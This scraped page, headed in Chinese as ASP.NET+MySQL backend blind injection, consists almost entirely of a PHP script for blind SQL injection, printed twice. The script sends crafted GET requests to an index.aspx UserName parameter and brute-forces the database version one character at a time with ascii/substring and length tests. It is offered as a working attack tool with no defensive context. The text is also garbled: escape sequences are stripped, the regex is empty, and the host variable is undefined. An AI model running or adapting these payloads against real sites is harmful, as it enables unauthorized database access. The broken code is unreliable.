asp.net+mysql,asp.net+mysql后台盲注入

///* //9

for($i=1; $i<=9; $i++){// 猜内容

$a=1;

while($a<=120){

$sa=sList($i,$a++);

$sa =iconv("UTF-8", "GB2312//IGNORE",$sa);

echo ($i).$sa." ----".($a-1)."n";

}

}

//*/

/*

$a=0;

while ($a<50){//猜长度

$sa=sky($a++);

$sa =iconv("UTF-8", "GB2312//IGNORE",$sa);

echo $sa." ----".($a-1)."n";

}

*/

function sList($ke,$value)

{

$tmp = array();

$data = '';

$fp = @fsockopen($host,80,$errno,$errstr,60);

@fputs($fp,"GET /path/index.aspx?UserName=admin'%20and%20ascii(substring((version()),$ke,1))=".$value."%20and%20'x'='x HTTP/1.1rnHost:$hostrnConnection: Closernrn");

while ($fp && !feof($fp))

$data .= fread($fp, 102400);

@fclose($fp);

//print_r($data);

preg_match_all("@(.*?)@is",$data,$tmp);

return $tmp[1][0];

}

function sky($value){ //猜长度

$tmp = array();

$data = '';

$fp = @fsockopen($host,80,$errno,$errstr,60);

@fputs($fp,"GET /path/index.aspx?UserName=admin'%20and%20Length((version()))=$value%20and%20'x'='x HTTP/1.1rnHost:$hostrnConnection: Closernrn");

while ($fp && !feof($fp))

$data .= fread($fp, 102400);

@fclose($fp);

//print_r($data);

preg_match_all("@(.*?)@is",$data,$tmp);

return $tmp[1][0];

}

?>

///* //9

for($i=1; $i<=9; $i++){// 猜内容

$a=1;

while($a<=120){

$sa=sList($i,$a++);

$sa =iconv("UTF-8", "GB2312//IGNORE",$sa);

echo ($i).$sa." ----".($a-1)."n";

}

}

//*/

/*

$a=0;

while ($a<50){//猜长度

$sa=sky($a++);

$sa =iconv("UTF-8", "GB2312//IGNORE",$sa);

echo $sa." ----".($a-1)."n";

}

*/

function sList($ke,$value)

{

$tmp = array();

$data = '';

$fp = @fsockopen($host,80,$errno,$errstr,60);

@fputs($fp,"GET /path/index.aspx?UserName=admin'%20and%20ascii(substring((version()),$ke,1))=".$value."%20and%20'x'='x HTTP/1.1rnHost:$hostrnConnection: Closernrn");

while ($fp && !feof($fp))

$data .= fread($fp, 102400);

@fclose($fp);

//print_r($data);

preg_match_all("@(.*?)@is",$data,$tmp);

return $tmp[1][0];

}

function sky($value){ //猜长度

$tmp = array();

$data = '';

$fp = @fsockopen($host,80,$errno,$errstr,60);

@fputs($fp,"GET /path/index.aspx?UserName=admin'%20and%20Length((version()))=$value%20and%20'x'='x HTTP/1.1rnHost:$hostrnConnection: Closernrn");

while ($fp && !feof($fp))

$data .= fread($fp, 102400);

@fclose($fp);

//print_r($data);

preg_match_all("@(.*?)@is",$data,$tmp);

return $tmp[1][0];

}

?>